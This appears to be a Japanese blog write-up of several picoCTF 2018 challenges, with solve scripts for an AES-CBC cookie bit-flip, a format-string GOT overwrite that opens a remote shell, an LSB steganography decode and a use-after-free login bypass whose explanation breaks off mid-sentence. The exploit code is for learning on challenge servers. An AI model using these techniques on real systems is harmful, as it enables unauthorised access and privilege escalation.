picoCTF 2018 の write-up 500, 550点問題編。
今回もBinary問題にかなり手こずりました。今までの自分の知識・経験に全くない分野なこともあり、write-upや解説を読んでも咀嚼しきれない部分も。妊娠中の眠さも相まって、何度も解説を読んだり色んなサイトを参考にしたり、とにかく手を動かして攻撃スクリプトを書いてみて動作検証したりしているうちに、ようやく頭に染み込んでくる感じでした。これもあって前回から結構時間が空いてしまいました。
ただ、こうやって何かしら解いた記事を残すことで、自分が納得するまで調べたり、後から自分が見て思い出すのにとても役立っているので、picoCTF2018はこのまま完走したいなぁ(๑• ̀д•́ )✧
今回の問題では nop slide
や heap問題 が新しかったのと、SecureLogonで使った解法がリアルタイムのCTFで使えたのが感動。
さて、ここまで解いて初めてこんなページがあるのを知りました。自分が、どのカテゴリで、何問中何問解いたのかが一目瞭然!
550pt問題までを解いた時点で 21585pt, 244位。もうリアルタイムじゃないし、他の方のwrite-upもかなり参考にさせて頂いてるので順位や点数はあまり意味がないけども。
450点問題まではこちら。
[Web] Secure Logon (500pt)
Uh oh, the login page is more secure... I think. http://2018shell.picoctf.com:56265 (link). Source.
問題文のリンク先に飛ぶと、こんなサイトが。
適当な Username と Password を入れると入れる。が、「おまえにやるFlagはねぇ!」である(古い?)
ここでCookieが表示されているので見てみると、adminでログインしてほしそう。先程の感じだとPasswordは見ていなさそうなので Username:admin, Password:適当 でログインしようとすると、流石に弾かれた。
ソースを読んでみる。DLしたSourceはこちら。
from flask import Flask, render_template, request, url_for, redirect, make_response, flash import json from hashlib import md5 from base64 import b64decode from base64 import b64encode from Crypto import Random from Crypto.Cipher import AES app = Flask(__name__) app.secret_key = 'seed removed' flag_value = 'flag removed' BLOCK_SIZE = 16 # Bytes pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \ chr(BLOCK_SIZE - len(s) % BLOCK_SIZE) unpad = lambda s: s[:-ord(s[len(s) - 1:])] @app.route("/") def main(): return render_template('index.html') @app.route('/login', methods=['GET', 'POST']) def login(): if request.form['user'] == 'admin': message = "I'm sorry the admin password is super secure. You're not getting in that way." category = 'danger' flash(message, category) return render_template('index.html') resp = make_response(redirect("/flag")) cookie = {} cookie['password'] = request.form['password'] cookie['username'] = request.form['user'] cookie['admin'] = 0 print(cookie) cookie_data = json.dumps(cookie, sort_keys=True) encrypted = AESCipher(app.secret_key).encrypt(cookie_data) print(encrypted) resp.set_cookie('cookie', encrypted) return resp @app.route('/logout') def logout(): resp = make_response(redirect("/")) resp.set_cookie('cookie', '', expires=0) return resp @app.route('/flag', methods=['GET']) def flag(): try: encrypted = request.cookies['cookie'] except KeyError: flash("Error: Please log-in again.") return redirect(url_for('main')) data = AESCipher(app.secret_key).decrypt(encrypted) data = json.loads(data) try: check = data['admin'] except KeyError: check = 0 if check == 1: return render_template('flag.html', value=flag_value) flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success") return render_template('not-flag.html', cookie=data) class AESCipher: """ Usage: c = AESCipher('password').encrypt('message') m = AESCipher('password').decrypt(c) Tested under Python 3 and PyCrypto 2.6.1. """ def __init__(self, key): self.key = md5(key.encode('utf8')).hexdigest() def encrypt(self, raw): raw = pad(raw) iv = Random.new().read(AES.block_size) cipher = AES.new(self.key, AES.MODE_CBC, iv) return b64encode(iv + cipher.encrypt(raw)) def decrypt(self, enc): enc = b64decode(enc) iv = enc[:16] cipher = AES.new(self.key, AES.MODE_CBC, iv) return unpad(cipher.decrypt(enc[16:])).decode('utf8') if __name__ == "__main__": app.run()
/flag
pathのGET
method を call した時、cookieの admin
が 1
になっていれば、flagが表示されるような気配がします。
cookieの値は、json形式になっており、 AESCipher で暗号化されています。これを復号したらjsonが出てくるようになっています。
jsonは password
, username
, admin
の値が入っており、admin以外はユーザーの入力をそのまま使うようです。adminには通常、0しか入りません。password, usernameを自由に変更したjsonの暗号文は、cookieに保存されるので確認することができます。
作戦としては、このjsonの admin
の値が 1
になるようにして暗号化、cookieにセットして /flag
ページをGETする、で行ってみようと思います。
今回の暗号はAESのCBCモード、ivは毎回変更されるようですが、暗号文の先頭についてくるみたいです(16文字)。復号時は暗号文の先頭からivを取得し、これを使って復号しています。また暗号・復号に使用するkeyは、スクリプト上に固定で設定されているようです。
CBCモードの性質上、復号は ciphertext xor iv から始まり、暗号文の先頭ブロックから処理されていきます。そして暗号文・もしくはivをビット反転すると、復号時にその反転は平文に伝播します。
参考:暗号利用モード - Wikipedia
また、今回、スクリプトの L37 で cookie_data = json.dumps(cookie, sort_keys=True)
と keyでソートされているので、必ずjsonの先頭は admin
フラグになり、暗号文の先頭ブロックに当たります。
これらの条件から、暗号文にくっついてきている iv を書き換えることで、平文の admin:0
を admin:1
に書き換えることができそうです!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import base64 sample_cookie = '2FIiQPmvneqpOUecJ45DCVau+bu5WeZKKc7frghlLxkRGwJE2ilvwPYLIY8qxp4o6/1SsloVihpcm40WMhKKhdcB//iWn1B699joS3qM0hw=' # sample_json = {'admin': 0, 'password': 'password', 'username': 'user'} flip_pos = 11 # 0 は 11番目の文字列なので、ivの11番目の文字をflipする decoded_cookie = base64.b64decode(sample_cookie) flipped = bytes([decoded_cookie[flip_pos-1] ^ ord('0') ^ ord('1')]) print(bytes([decoded_cookie[flip_pos-1]]) + b' is flipped to: ' + flipped) flipped_arr = [] for i in range(len(decoded_cookie)): if i != flip_pos-1: flipped_arr.append(bytes([decoded_cookie[i]])) else: flipped_arr.append(flipped) print(b'flipped_cookie: ' + base64.b64encode(b''.join(flipped_arr)))
実行結果
$ python solve.py b'G is flipped to: F' b'flipped_cookie: 2FIiQPmvneqpOUacJ45DCVau+bu5WeZKKc7frghlLxkRGwJE2ilvwPYLIY8qxp4o6/1SsloVihpcm40WMhKKhdcB//iWn1B699joS3qM0hw='
新しいcookieをsetして、/flag にGETアクセスしてみるとFlagが出ました!
これ、WebっていうかCryptoじゃないのかな?入り口がWebだからWebなのかな?
ちなみにこの問題の応用版が、これをやった直後の ångstromCTF 2019 に出て嬉しかったヽ(•̀ω•́ )ゝ
ångstromCTF 2019 write-up - 好奇心の足跡
[Binary] echo back (500pt)
This program we found seems to have a vulnerability. Can you get a shell and retreive the flag? Connect to it with nc 2018shell.picoctf.com 37857.
Hints
hmm, printf seems to be dangerous...
You may need to modify more than one address at once.
Ever heard of the Global Offset Table?
$ file echoback echoback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f3a42d793336e2051dd5578785d768cf3152d634, not stripped
こんなバイナリを入手しました。今回はソースコードはないみたい。
試しに動かしてみます。
$ ./echoback input your message: test test Thanks for sending the message!
単純に入力をそのままechoしてくれるだけのようです。
radare2でどんな関数で構成されているのか確認してみます。
[0x08048643]> afl 0x080483dc 3 35 sym._init 0x08048410 1 6 sym.imp.read 0x08048420 1 6 sym.imp.printf 0x08048430 1 6 sym.imp.__stack_chk_fail 0x08048440 1 6 sym.imp.getegid 0x08048450 1 6 sym.imp.puts 0x08048460 1 6 sym.imp.system 0x08048470 1 6 sym.imp.__libc_start_main 0x08048480 1 6 sym.imp.setvbuf 0x08048490 1 6 sym.imp.setresgid 0x080484a0 1 6 sub.__gmon_start_80484a0 0x080484b0 1 33 entry0 0x080484e0 1 4 sym.__x86.get_pc_thunk.bx 0x080484f0 4 43 sym.deregister_tm_clones 0x08048520 4 53 sym.register_tm_clones 0x08048560 3 30 sym.__do_global_dtors_aux 0x08048580 4 43 -> 40 entry.init0 0x080485ab 3 152 sym.vuln 0x08048643 1 83 sym.main 0x080486a0 4 93 sym.__libc_csu_init 0x08048700 1 2 sym.__libc_csu_fini 0x08048704 1 20 sym._fini
ちょっと長いですが、mainから呼ばれている vuln
関数です。
[0x08048643]> s sym.vuln [0x080485ab]> pdf / (fcn) sym.vuln 152 | sym.vuln (); | ; var int local_8ch @ ebp-0x8c | ; var int local_ch @ ebp-0xc | ; var int local_4h @ ebp-0x4 | ; CALL XREF from sym.main (0x8048684) | 0x080485ab 55 push ebp | 0x080485ac 89e5 mov ebp, esp | 0x080485ae 57 push edi | 0x080485af 81ec94000000 sub esp, 0x94 | 0x080485b5 65a114000000 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20 | 0x080485bb 8945f4 mov dword [local_ch], eax | 0x080485be 31c0 xor eax, eax | 0x080485c0 8d9574ffffff lea edx, dword [local_8ch] | 0x080485c6 b800000000 mov eax, 0 | 0x080485cb b920000000 mov ecx, 0x20 ; 32 | 0x080485d0 89d7 mov edi, edx | 0x080485d2 f3ab rep stosd dword es:[edi], eax | 0x080485d4 83ec0c sub esp, 0xc | 0x080485d7 6820870408 push str.echo_input_your_message: ; 0x8048720 ; "echo input your message:" | 0x080485dc e87ffeffff call sym.imp.system ; int system(const char *string) | 0x080485e1 83c410 add esp, 0x10 | 0x080485e4 83ec04 sub esp, 4 | 0x080485e7 6a7f push 0x7f ; 127 | 0x080485e9 8d8574ffffff lea eax, dword [local_8ch] | 0x080485ef 50 push eax | 0x080485f0 6a00 push 0 | 0x080485f2 e819feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | 0x080485f7 83c410 add esp, 0x10 | 0x080485fa 83ec0c sub esp, 0xc | 0x080485fd 8d8574ffffff lea eax, dword [local_8ch] | 0x08048603 50 push eax | 0x08048604 e817feffff call sym.imp.printf ; int printf(const char *format) | 0x08048609 83c410 add esp, 0x10 | 0x0804860c 83ec0c sub esp, 0xc | 0x0804860f 6839870408 push 0x8048739 | 0x08048614 e837feffff call sym.imp.puts ; int puts(const char *s) | 0x08048619 83c410 add esp, 0x10 | 0x0804861c 83ec0c sub esp, 0xc | 0x0804861f 683c870408 push str.Thanks_for_sending_the_message ; 0x804873c ; "Thanks for sending the message!" | 0x08048624 e827feffff call sym.imp.puts ; int puts(const char *s) | 0x08048629 83c410 add esp, 0x10 | 0x0804862c 90 nop | 0x0804862d 8b45f4 mov eax, dword [local_ch] | 0x08048630 653305140000. xor eax, dword gs:[0x14] | ,=< 0x08048637 7405 je 0x804863e | | 0x08048639 e8f2fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) | `-> 0x0804863e 8b7dfc mov edi, dword [local_4h] | 0x08048641 c9 leave \ 0x08048642 c3 ret
うーむ、今回はmainから呼ばれない flag
関数や flag
, secret
のようなわかりやすい名前のシンボルは無いようです。
ここで頼るべきは問題のタイトルとヒント!
Hintからは、printf に対してフォーマット文字列攻撃(FSB, Format String Bugを利用)を実施、GOT overwrite 攻撃を示唆しているように見えます。あと、書き換えるアドレスが複数必要っぽい。
参考: format string attackによるGOT overwriteをやってみる - ももいろテクノロジー
が、どこをどう攻撃したらflagが得られるのか?
そういえば似たタイトルの問題があったな、ということでさかのぼってみると、echooo (300pt, Binary)
が。この問題では、ソースコードの配布があり、ソースコード中で同ディレクトリ内の flag.txt
を読み出してメモリに保持していました。このメモリ上のアドレス内容をFSBを利用して表示させてやればOK、というものでした。
今回は、メモリ上に flag
変数として読み出されてはなさそうですが、flag.txt
が同ディレクトリに存在する可能性が高そうです。(他にflagの場所が思いつかないので)
とりあえず、printf に対するフォーマット文字列攻撃を試してみます。
$ nc 2018shell.picoctf.com 37857 input your message: AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x AAAAffc9dd5c.0000007f.f75c37bd.f7727a70.08048270.00000001.41414141.78383025.3830252e.30252e78.252e7838.2e783830 Thanks for sending the message!
7番目に AAAA
に相当する出力 41414141
が現れました。
ここで、FSB, GOT overwrite 攻撃について、表面的にしか理解していなかったので再度おさらいしました。
- fsbの資料 · GitHub
- Format String Exploitを試してみる - CTFするぞ
- GOT overwrite (GOTを上書きする) についても攻撃コードと共に載っています
わかりやすくまとまっていて読みやすかったです!感謝!
今回は、最終的にsystem('/bin/sh')
を呼び出してshellを操れる状態にするのがGOAL。
そのためにprintf
関数のGOTを system
のPLTで書き換え、次の入力で /bin/sh
を入れると、system('/bin/sh')
が呼び出されてshellが起動します。
ただ困ったことに、上記の書き換え(FSBを利用したGOT overwrite)のために printf
関数を使用するので、もう一度 printf
関数を呼び出して実行してもらう必要があります。今回は、printf
の後にputs
(Thanks for sending the message!)が呼ばれているので、このGOTをvuln
関数のアドレスで上書きし、再度 vuln
関数、ひいては printf
関数が呼ばれるように導きます。
ということで、下記の作戦で行きます。
- FSBを利用して
puts()
呼び出し時にvuln()
を実行するよう overwrite する - 更にFSBを利用して、
printf()
呼び出し時にsystem()
を実行するよう overwrite する - system呼び出しのinputに
/bin/sh
を指定し、shellを起動する - shell操作で多分近くにある
flag.txt
を覗く
また、今回は初めて pwntools の fmtstr_payload 関数を使ってみました。
pwnlib.fmtstr — Format string bug exploitation tools — pwntools 3.12.1 documentation
うん、とっても便利!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '2018shell.picoctf.com' port = 37857 e = ELF('./echoback') got_printf = e.got[b'printf'] plt_system = e.plt[b'system'] got_puts = e.got[b'puts'] sym_vuln = e.symbols[b'vuln'] payload = fmtstr_payload( 7, \ { got_puts: sym_vuln, \ got_printf: plt_system } ) r = remote(host, port) r.recvuntil(b'input your message:\n') r.sendline(payload) r.interactive()
実行結果
$ python solve.py [*] '/echo_back/echoback' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE [+] Opening connection to 2018shell.picoctf.com on port 37857: Done [*] Switching to interactive mode (略) input your message: $ /bin/sh $ ls echoback echoback.c flag.txt xinet_startup.sh $ cat flag.txt picoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_73881db0}
ちなみに出題者のRintaroさんのブログに、解説と想定解が載っていました。私のレベルだと、最初に読んだときはいきなり中級から来られた感じでよくわからなかったので、上記FSB, GOT overwrite解説記事から読み直しました…(*•ө•*)
picoCTF 2018を主催した話 - security etc...
[General] script me (500pt)
Can you understand the language and answer the questions to retrieve the flag? Connect to the service with nc 2018shell.picoctf.com 7866
指定のホストに接続してみます。
$ nc 2018shell.picoctf.com 7866 Rules: () + () = ()() => [combine] ((())) + () = ((())()) => [absorb-right] () + ((())) = (()(())) => [absorb-left] (())(()) + () = (())(()()) => [combined-absorb-right] () + (())(()) = (()())(()) => [combined-absorb-left] (())(()) + ((())) = ((())(())(())) => [absorb-combined-right] ((())) + (())(()) = ((())(())(())) => [absorb-combined-left] () + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative] Example: (()) + () = () + (()) = (()()) Let's start with a warmup. (()) + ()() = ??? >
ほーう!この言語を解読してねってことですね。最初の問題がwarmupってことは、問題が続きそうなのでscript化したほうが良さそう。
実はコレ全部で6問、テストデータを収集するために暗算で頑張ってみたところ、雰囲気で2問目くらいまで解けるんだけど、どんどん人間の目では処理できないレベルになっていって無理だった。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '2018shell.picoctf.com' port = 7866 # function def depth(member): max_depth = 0 current_depth = 0 for c in member: if c == '(': current_depth += 1 max_depth = max(max_depth, current_depth) elif c == ')': current_depth -= 1 return max_depth def calc(left, right): left_depth = depth(left) right_depth = depth(right) if left_depth > right_depth: left = left[:-1] + right + ')' elif right_depth > left_depth: left = '(' + left + right[1:] else: left = left + right return left def qa(question): members = question.split() left = members.pop(0) for m in members: if m == '+': continue else: left = calc(left, m) return left # main r = remote(host, port) while True: question = r.recvline_contains(['???', 'picoCTF{']).decode() if 'picoCTF{' in question: print(question) break print('question: ' + question) answer = qa(question[:-6]) print('answer: ' + answer) r.sendline(answer.encode())
$ python solve.py [+] Opening connection to 2018shell.picoctf.com on port 7866: Done question: (()) + (()()) = ??? answer: (())(()()) question: ((())()) + () + () = ??? answer: ((())()()()) question: ((())()) + (()()()()()()()()) + (()()()()()()()()) + (()()) + (()()) = ??? answer: ((())()(()()()()()()()())(()()()()()()()())(()())(()())) question: (()()()()()()()()) + (()(())) + ()()() + (()()()) + (()()) + (()(())) + (()()()) + (()()()(())()()) + (((()())()())()) + (()(())((()))(((())))((((()))))) = ??? answer: ((((()()()()()()()())()(())()()()(()()())(()()))(()(())(()()()))(()()()(())()())((()())()())())()(())((()))(((())))((((()))))) question: (()()())(())(()()()()()()()()) + ((()())()(())(()()()()()()()())) + ((()()()())()(((()()())()())()())) + (()(())()()()()(())) + ((()())()(()))((())()()()()) + ((()()())()(())(())) + (()()(())()()) + ((())(()()()()()()()())((()())()())()) + ((()()())(())())(()()()(())()()) + ((()(((()()())()())()()))((((()))))(((())))((()))(())()) + ((()()())()(())()()) + (((()())()(())()()())()(())((()))(((())))((((()))))) + ((()()(()))((())())((((()))))(((())))((()))(())()) + ((()()(())(()))((((()))))(((())))((()))(())()) + ((()()()()()()(())()())()(((()()())()())()())) + ((()()()()(())()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + ((()()()())(()()()()()()()())()()()(())()()) + (()(())()()()) + (((()())()(())()())()(())((()))(((())))((((()))))) + ((()()()()()()()()()()()())()(())((()))(((())))((((()))))) + ((((()())()())())((()(())((()))(((())))()()))()) + ((()()()())((()())()())()) + (((())((()())()())())()(((()()())()())()())) + ((()()(()))((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) + ((()())(()()())((()())()())()) + (((()())()(()))(()()()(())()())((()(())((()))(((())))()()))()) + (()()()()()()((()(())((()))(((())))()()))()) + (((())()(()()()))((()())()())()) + (((()())((()())()())())()(())((()))(((())))((((()))))) + (((()())()(())()())((((()))))(((())))((()))(())()) + ((()()(((()()())()())()()))((((()))))(((())))((()))(())()) + (((())()()())()(())((()))(((())))((((()))))) + (((()()()()()()()()())()(((()()())()())()()))()(())((()))(((())))((((()))))) + (((())()()())((()())()())()) + (()()((((()))))(((())))((()))(())()) + ((()((()())()())())()(())((()))(((())))((((()))))) + ((()()()())()(())((()))(((())))((((()))))) + (((())()()())((()(())((()))(((())))()()))()) + ((())()()()()()()) + ((())()(((()()())()())()())) + (()()()()()()())(()()()()()()()()) + (((()())()(())()()())((()())()())()) + (((()())()(())(()()()))((()(())((()))(((())))()()))()) + ((()(())()())((((()))))(((())))((()))(())()) + ((()()()())(()()()()()()()())((((()))))(((())))((()))(())()) + ((()(())(()()()()()()()()))((((()))))(((())))((()))(())()) + ((()()((()())()())())()(())((()))(((())))((((()))))) + (()()()()()()((((()))))(((())))((()))(())()) + (()()(())()()()) + (()()()())(()()()()()()()()) = ??? answer: (((((()()())(())(()()()()()()()())(()())()(())(()()()()()()()()))(()()()())()(((()()())()())()())(()(())()()()()(()))((()())()(()))((())()()()())((()()())()(())(()))(()()(())()())((())(()()()()()()()())((()())()())())((()()())(())())(()()()(())()()))(()(((()()())()())()()))((((()))))(((())))((()))(())()((()()())()(())()()))(((()())()(())()()())()(())((()))(((())))((((())))))((()()(()))((())())((((()))))(((())))((()))(())())((()()(())(()))((((()))))(((())))((()))(())()((()()()()()()(())()())()(((()()())()())()())))(()()()()(())()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()()())(()()()()()()()())()()()(())()())(()(())()()())(((()())()(())()())()(())((()))(((())))((((())))))((()()()()()()()()()()()())()(())((()))(((())))((((()))))))((((()())()())())((()(())((()))(((())))()()))()((()()()())((()())()())())(((())((()())()())())()(((()()())()())()())))((()()(()))((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())((()())(()()())((()())()())()))(((()())()(()))(()()()(())()())((()(())((()))(((())))()()))())(()()()()()()((()(())((()))(((())))()()))()(((())()(()()()))((()())()())())(((()())((()())()())())()(())((()))(((())))((((())))))(((()())()(())()())((((()))))(((())))((()))(())())((()()(((()()())()())()()))((((()))))(((())))((()))(())())(((())()()())()(())((()))(((())))((((())))))(((()()()()()()()()())()(((()()())()())()()))()(())((()))(((())))((((())))))(((())()()())((()())()())())(()()((((()))))(((())))((()))(())())((()((()())()())())()(())((()))(((())))((((())))))((()()()())()(())((()))(((())))((((()))))))(((())()()())((()(())((()))(((())))()()))()((())()()()()()())((())()(((()()())()())()()))(()()()()()()())(()()()()()()()())(((()())()(())()()())((()())()())()))(((()())()(())(()()()))((()(())((()))(((())))()()))()((()(())()())((((()))))(((())))((()))(())())((()()()())(()()()()()()()())((((()))))(((())))((()))(())())((()(())(()()()()()()()()))((((()))))(((())))((()))(())())((()()((()())()())())()(())((()))(((())))((((())))))(()()()()()()((((()))))(((())))((()))(())())(()()(())()()())(()()()())(()()()()()()()())) Congratulations, here's your flag: picoCTF{5cr1pt1nG_l1k3_4_pRo_45ca3f85} [*] Closed connection to 2018shell.picoctf.com port 7866
問題は毎回ランダムで変わるのでスクリプト化必須だった。あと、途中まで出された問題を入力して答えを出力するスクリプトで組んでいたんだけど、最後の問題がterminalに答えを入力しきれず、結局全自動スクリプトになった。
関数名とかセンスない感じになってしまって反省…。
[Forensics] LoadSomeBits (550pt)
Can you find the flag encoded inside this image? You can also find the file in /problems/loadsomebits_0_d87185d5ab62fa0048494157146e7b78 on the shell server.
Hints
Look through the Least Significant Bits for the image
If you interpret a binary sequence (seq) as ascii and then try interpreting the same binary sequence from an offset of 1 (seq[1:]) as ascii do you get something similar or completely different?
リンク先のファイルは pico2018-special-logo.bmp
$ file pico2018-special-logo.bmp pico2018-special-logo.bmp: PC bitmap, Windows 98/2000 and newer format, 1200 x 630 x 24
バイナリ解析ファイルで覗いてみるとこんな感じ。
おやおや、冒頭に怪しい 0
,1
の羅列が…!
そこの部分だけ2進数の配列として抜き出して、asciiに変換してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- bit_list = ['00000001', '01010000', '00000001', '01000100', '00010001', '01000000', '01010001', '01000101', '01010001', '00000000', '01010001', '00010001', '00000001', '00000001', '01000001', '01010100', '01010001', '01010000', '01010001', '01010001', '00000000', '01010000', '00000001', '01010000', '01000000', '01010000', '01010001', '01000001', '00000001', '00010101', '01010001', '01000100', '00010001', '00000101', '01000001', '00010101', '01010001', '01010001', '00000001', '00000100', '00000000', '01010000', '01010001', '00010101', '01010001', '01000101', '00000000', '01010000', '01010000', '01010001', '00000000', '01010001', '00010001', '01010001', '00000001', '00010101', '01010001', '01010000', '01010000', '01010000', '00010001', '01000001', '01010001', '01000101', '01000000', '01010000', '00010001', '01000001', '01000000', '01010000', '00010001', '01000000', '01010000', '01010001', '00000001', '01000101', '01000001', '00010001', '00000001', '00010101', '01010001', '01000000', '01000000', '01010000', '00010001', '01010001', '00000000', '01010001', '00010001', '00010101', '01010000', '01010001', '01010000', '01010001', '01010000', '01010000', '00000000', '01010001', '00010000', '01010001', '00010000', '01010001', '00000000', '01010000', '00010000', '01010100', '00010000', '01010000', '01010001', '01010101', '00010000'] ascii_list = [] for b in bit_list: ascii_list.append(chr(int(b,2))) print(''.join(ascii_list))
実行結果
$ python solve.py PD@QEQQATQPQQPP@PQAQDAQQPQQEPPQQQQPPPAQE@PA@P@PQEAQ@@PQQPQPQPPQQQPTPQU
うむ…。ascii文字の範囲外の数値もあったみたいだし、なんか違うっぽいな?
Hintのとおり、今度はimageの最下位bitを抜き出してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- with open('pico2018-special-logo.bmp', 'rb') as f: data = f.read() # extruct Least Significant Bits in image binary lsb = '' for d in data: lsb += str(d & 0x1) print(lsb)
実行結果
01010000000000000000000000100000000100010001000000000001110000011010010110001101101111010000110101010001000110011110110111001101110100001100000111001000110011011001000101111101101001010011100101111101110100010010000011001101011111011011000011001100110100001101010111010001011111011100110011000101100111011011100011000101100110001100010110001100110100011011100101010001011111011000100011000101110100001101010101111100110111001101110011000000110101001101010011010000110001001110010011001101111101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (略)
変換前ののバイナリ列からもわかるように、最初の方だけ 1
, 0
が入り混じっていますが、この後はずっと 0
ばかり、もしくは 1
ばかりのようです。
ここで、意味の有りそうな最初の方のを抜き出し、適当なところから切り出してascii変換してやります。どこからflagが始まるかわからないのでflagフォーマットが出てくるまでずらしながら試してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- bindata = '01010000000000000000000000100000000100010001000000000001110000011010010110001101101111010000110101010001000110011110110111001101110100001100000111001000110011011001000101111101101001010011100101111101110100010010000011001101011111011011000011001100110100001101010111010001011111011100110011000101100111011011100011000101100110001100010110001100110100011011100101010001011111011000100011000101110100001101010101111100110111001101110011000000110101001101010011010000110001001110010011001101111101000000000000' slice_num = 0x8 for _ in range(slice_num): bindata = bindata[1:] flag = '' for i in range(len(bindata)//slice_num): a = bindata[i*slice_num : (i+1)*slice_num] flag += chr(int(a,2)) if 'picoCTF{' in flag: break print(flag)
実行結果
$ python solve.py DpicoCTF{st0r3d_iN_tH3_l345t_s1gn1f1c4nT_b1t5_770554193}
ちょっとflagの前に D
が入っちゃいましたが、flagが無事得られました!
今回の問題は、ヒントなしだと私は絶対解けない自信がある…!
[Binary] are you root? (550pt)
Can you get root access through this service and get the flag? Connect with nc 2018shell.picoctf.com 45906. Source.
Hints
If only the program used calloc to zero out the memory..
入手できるのは下記のソースと実行ファイル。
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> typedef enum auth_level { ANONYMOUS = 1, GUEST = 2, USER = 3, ADMIN = 4, ROOT = 5 } auth_level_t; struct user { char *name; auth_level_t level; }; void give_flag(){ char flag[48]; FILE *f = fopen("flag.txt", "r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } if ((fgets(flag, 48, f)) == NULL){ puts("Couldn't read flag file."); exit(1); }; puts(flag); fclose(f); } void menu(){ puts("Available commands:"); puts("\tshow - show your current user and authorization level"); puts("\tlogin [name] - log in as [name]"); puts("\tset-auth [level] - set your authorization level (must be below 5)"); puts("\tget-flag - print the flag (requires authorization level 5)"); puts("\treset - log out and reset authorization level"); puts("\tquit - exit the program"); } int main(int argc, char **argv){ char buf[512]; char *arg; uint32_t level; struct user *user; setbuf(stdout, NULL); menu(); user = NULL; while(1){ puts("\nEnter your command:"); putchar('>'); putchar(' '); if(fgets(buf, 512, stdin) == NULL) break; if (!strncmp(buf, "show", 4)){ if(user == NULL){ puts("Not logged in."); }else{ printf("Logged in as %s [%u]\n", user->name, user->level); } }else if (!strncmp(buf, "login", 5)){ if (user != NULL){ puts("Already logged in. Reset first."); continue; } arg = strtok(&buf[6], "\n"); if (arg == NULL){ puts("Invalid command"); continue; } user = (struct user *)malloc(sizeof(struct user)); if (user == NULL) { puts("malloc() returned NULL. Out of Memory\n"); exit(-1); } user->name = strdup(arg); printf("Logged in as \"%s\"\n", arg); }else if(!strncmp(buf, "set-auth", 8)){ if(user == NULL){ puts("Login first."); continue; } arg = strtok(&buf[9], "\n"); if (arg == NULL){ puts("Invalid command"); continue; } level = strtoul(arg, NULL, 10); if (level >= 5){ puts("Can only set authorization level below 5"); continue; } user->level = level; printf("Set authorization level to \"%u\"\n", level); }else if(!strncmp(buf, "get-flag", 8)){ if (user == NULL){ puts("Login first!"); continue; } if (user->level != 5){ puts("Must have authorization level 5."); continue; } give_flag(); }else if(!strncmp(buf, "reset", 5)){ if (user == NULL){ puts("Not logged in!"); continue; } free(user->name); user = NULL; puts("Logged out!"); }else if(!strncmp(buf, "quit", 4)){ return 0; }else{ puts("Invalid option"); menu(); } } }
ソース長いですね。それぞれのmenuに応じた処理が if-else でつらつらと書いてあります。
ちょっと遊んでみた感じ、まずは login {username}
でログインし、set-auth
で認証レベルの設定をします。認証レベルは初期状態で0、4まで set-auth
で設定できます。 get-flag
コマンドでflagが貰えそうですが、menuから順当に行くと認証レベルが5でないと give_flag()
関数がcallされません。
パッと考えついたのは下記。
- 認証レベルを5に書き換える方法を探す
give_flag()
関数を無理やり呼び出す- shellを取る
使えそうな脆弱ポイントを調べてみます。
これまでよくBinary問題で使われていた、BufferOverflowの脆弱性は今回無さそう(サイズ指定の gets
関数でユーザー入力させている)です。また、これまたよく出てきた Format String Attackは、printf関数こそ使っていますが該当箇所が無さそうです。
ここでヒントをよく見てみます。
If only the program used calloc to zero out the memory..
ふむ?何のことかピンときていませんが、ソース中でalloc
している箇所を調べます。
新規ログイン時に user
を作成する際、下記のコードで alloc
関数を使っています。
user = (struct user *)malloc(sizeof(struct user)); ... user->name = strdup(arg);
strdup
関数は alloc そのものではありませんが、中でmalloc
が使われています。
Man page of STRDUP
strdup() 関数は、文字列 sの複製である 新しい文字列へのポインターを返す。 新しい文字列のためのメモリーは malloc(3) で得ている。 そして、 free(3) で解放することができる。
また、ヒントの文言からmemory関連が怪しそうなので、この領域を操作するところに注目します。と、reset
というmenuがあり、選択すると下記コードで領域の開放(=Logout)を行っています。
free(user->name);
user = NULL;
この user
に着目すると、今回キーになりそうな認証レベル (authorization level
) は user
structのメンバとして定義されています。ということは、作戦的には "1.認証レベルを5に書き換える方法を探す" が妥当そう!
ざっと調べたところ、下記の攻撃手法が参考になりました。
ここでは Use After Free (UAF) として紹介されています。
malloc関数が、freeされた場合に開放されたheap領域を、再度allocateされた時に再利用してしまうという仕様をついた攻撃のようです。
今回の場合だと、一度Loginしてuser
オブジェクトを作成し、そのあとresetしてuser
を解放、再度Loginしてuser
オブジェクト2を作成すると、解放したuser->name
と同じ領域を使うようになります。
ここで、user
オブジェクトが user->name
のポインタと認証レベルを保持していること、Login処理の中では認証レベル設定されない(初期化されない)ことを考えると、一度目のuser
オブジェクト作成時に ポインタ分の領域+(\x05) のuser->name
を設定しておくと、次のuser作成時に\x05
が user->level
